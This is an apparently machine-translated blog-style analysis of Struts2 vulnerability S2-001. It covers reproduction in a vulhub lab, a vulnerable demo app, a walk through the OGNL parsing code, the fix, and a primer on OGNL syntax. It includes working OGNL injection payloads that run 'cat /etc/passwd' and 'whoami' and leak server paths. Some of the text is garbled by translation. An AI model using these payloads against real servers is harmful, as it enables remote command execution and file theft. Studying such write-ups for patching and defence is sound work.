Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Case Analysis of struts2 vulnerability S2-001

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

In this issue, the editor will bring you an example analysis of struts2 vulnerability S2-001. the article is rich in content and analyzes and narrates it from a professional point of view. I hope you can get something after reading this article.

Vulhub vulnerability series: struts2 vulnerability S2-0011. Vulnerability description:

Struts2 vulnerability S2-001 is that when a user submits form data and validation fails, the server uses OGNL expressions to parse the user's previously submitted parameter values,% {value} and repopulate the corresponding form data. For example, on the registration or login page. If the commit fails, the server usually returns the previously submitted data by default. Because the server is used for% {value} to perform OGNL expression parsing on the submitted data, the server can directly send a payload to execute the command.

2.vulhub vulnerability exploitation:

Reproducing vulnerabilities with vulhub can save the process of setting up the environment, which is quite convenient.

Vulhub official website address: https://vulhub.org

Start the vulnerability environment.

Docker-compsoe up-d

Enter the payload of the test

% {1mm 1}

You can see that our addition expression has been executed successfully.

Let's try the command execution this time. New java.lang.String [{"cat", "/ etc/passwd"} changes the command we want to execute here.

% {# a = (new java.lang.ProcessBuilder (new java.lang.String [{"cat", "/ etc/passwd"})) .redirectErrorStream (true). Start (), # b=#a.getInputStream (), # c=new java.io.InputStreamReader (# b), # d=new java.io.BufferedReader (# c), # e=new char [50000], # d.read (# e), # f=#context.get ("com.opensymphony.xwork2.dispatcher.HttpServletResponse") # f.getWriter (). Println (new java.lang.String (# e)), # f.getWriter (). Flush (), # f.getWriter (). Close ()}

Successfully read the passwd file.

Here are three utilization statements:

Get tomcat path% {"tomcatBinDir {" + @ java.lang.System@getProperty ("user.dir") + "}"} get web path% {# req=@org.apache.struts2.ServletActionContext@getRequest (), # response=#context.get ("com.opensymphony.xwork2.dispatcher.HttpServletResponse"). GetWriter (), # response.println (# req.getRealPath ('/')), # response.flush () # response.close ()} command execution% {# a = (new java.lang.ProcessBuilder (new java.lang.String [] {"whoami"})) .redirectErrorStream (true). Start (), # b=#a.getInputStream (), # c=new java.io.InputStreamReader (# b), # d=new java.io.BufferedReader (# c), # e=new char [50000], # d.read (# e), # f=#context.get ("com.opensymphony.xwork2.dispatcher.HttpServletResponse") # f.getWriter (). Println (new java.lang.String (# e)), # f.getWriter (). Flush (), # f.getWriter (). Close ()} 3. Build an environment

Platform: win10

Tool: Apache Tomcat 9.0.7 Magi IntelliJ IDEA

After downloading IntelliJ IDE, we chose to have a free trial for one month, and then create our project.

This is the result of the completion of the build. All the added jar packages or modified files below are created in this format.

The directory structure is as follows.

The following packages are required. Download address:

Http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

After unzipping, we import the corresponding jar package under the lib directory into the lib directory we created in the project.

Then release the jar package we imported, otherwise an error will be reported.

Next, we will create a few files, here the code is given, just copy it. (note: be sure to place the following files according to the directory structure given above)

Web.xml

S2-001 Examplestruts2org.apache.struts2.dispatcher.FilterDispatcherstruts2/*index.jsp

Index.jsp

S2-001S2-001 Demo

Link: https://cwiki.apache.org/confluence/display/WW/S2-001

Welcome.jsp

S2-001

Hello

LoginAction.java

Package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport {private String username = null; private String password = null; public String getUsername () {return this.username;} public String getPassword () {return this.password;} public void setUsername (String username) {this.username = username;} public void setPassword (String password) {this.password = password } public String execute () throws Exception {if ((this.username.isEmpty ()) | | (this.password.isEmpty () {return "error";} if ((this.username.equalsIgnoreCase ("admin")) & & (this.password.equals ("admin") {return "success";} return "error";}}

Create a new struts.xml under the src directory

Welcome.jspindex.jsp4. Principle analysis

Vulnerability part of the code

Xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

Public static Object translateVariables (char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {Object result = expression; while (true) {int start = expression.indexOf (open + "{"); int length = expression.length (); int x = start + 2; int count = 1; while (start! =-1 & & x

< length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } }} 运行我们搭建好的环境,记得开启debug模式 password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情) expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。 然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666} 然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。 然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。 在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。 不是OGNL表达式时就会进入 5.漏洞修复 判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。 也就不会对用户提交的参数进行ongl解析 if (loopCount >

MaxLoopCount) {/ / translateVariables prevent infinite loop / expression recursive evaluation break;} 6.OGNL expression

Here to carry the things summed up by the boss.

OGNL is the abbreviation of Object-Graph Navigation Language. It is a powerful expression language (Expression Language, abbreviated as EL). Through its simple and consistent expression syntax, it can access any attribute of the object, call the method of the object, traverse the structure diagram of the whole object, and realize the transformation of field type and so on. It uses the same expression to access the properties of the object. Three elements of OGNL: (the following parts are excerpts from somewhere on the Internet, which I think is good)

1. Expression (Expression)

Expressions are the core of the entire OGNL, and all OGNL operations are performed after parsing the expressions. The expression specifies exactly what the OGNL operation is going to do. We can see that in the above test, name, department.name, and so on are all expressions that take the value of name in name or department. OGNL supports many types of expressions, and we'll see more later.

2. Root object (Root Object)

The root object can be understood as the Operand object of OGNL. After the expression specifies "what to do", you need to specify "to whom". In the above test code, user is the root object. This means that we need to get the value of the name property for the object user (set the value of the name property in the department for the object user).

3. Context (Context)

With expressions and root objects, we can actually use the basic functions of OGNL. For example, take or set the value of the root object according to the expression. But in fact, within OGNL, all operations run in a specific environment, which is the Context of OGNL. To put it more clearly, it is this context (Context) that specifies "where to do" the operation of OGNL.

The context of OGN L is a Map structure called OgnlContext. The root object we mentioned above (Root)

Object), in fact, will be added to the context, and this will be treated as a special variable, specifically for the root object (Root)

The expression of the access operation of Object) does not need to be distinguished by adding a # symbol.

Expression function operation list: 1. Access to the basic object tree

Access to the object tree is done by concatenating the references of the object by using periods.

For example: xxxx,xxxx.xxxx,xxxx. Xxxx. Xxxx. Xxxx. Xxxx2. Access to container variables

Access to container variables is done through the # symbol plus the expression.

For example: # xxxx,#xxxx. Xxxx,#xxxx.xxxxx. Xxxx. Xxxx. Xxxx3. Use operation symbol

The operators that can be used in OGNL expressions are basically the same as those in Java, except for +, -, *, /, + +, -, = =,! =, =, etc., you can also use mod, in, not in, and so on. 4. Containers, arrays, objects

OGNL supports sequential access to containers such as arrays and ArrayList: for example: group.users [0]

At the same time, OGNL supports keystroke value lookup for Map:

For example: # session ['mySessionPropKey']

Not only that, OGNL also supports expressions for container construction:

For example: {"green", "red", "blue"} construct a List,# {"key1": "value1", "key2": "value2", "key3": "value3"} construct a Map

You can also create new objects through the constructor of any class object.

For example: new Java.net.URL ("xxxxxx/") 5. Access to static methods or variables

To reference static methods and fields of a class, they are expressed in the same way as @ class@member or @ class@method (args): 6. Method call

You can even pass parameters directly through a method call similar to Java:

For example: user.getName (), group.users.size (), group.containsUser (# requestUser) 7. Projection and selection

OGNL supports projection (projection) and selection (selection) similar to those in databases.

Projection is to select the same attributes of each element in * * to form a new * *, similar to the field operation of a relational database. The syntax of the projection operation is collection. {XXX}, where XXX is the common attribute of each element in this * *.

For example: group.userList. {username} will get a list of name for all user in a group.

Selection is to filter the * * elements that meet the selection condition, similar to the record operation of a relational database. The syntax for the select operation is: collection. {X YYY}, where X is a selection operator, followed by a logical expression for the selection. There are three selection operators:

? Select all elements that meet the criteria

^ Select the first element that meets the condition

$Select the last element that meets the condition

For example: group.userList. {? # txxx.xxx! = null} will get a list of user in a group whose name of user is not empty. The above is the example analysis of struts2 vulnerability S2-001 shared by Xiaobian. If you happen to have similar doubts, you might as well refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report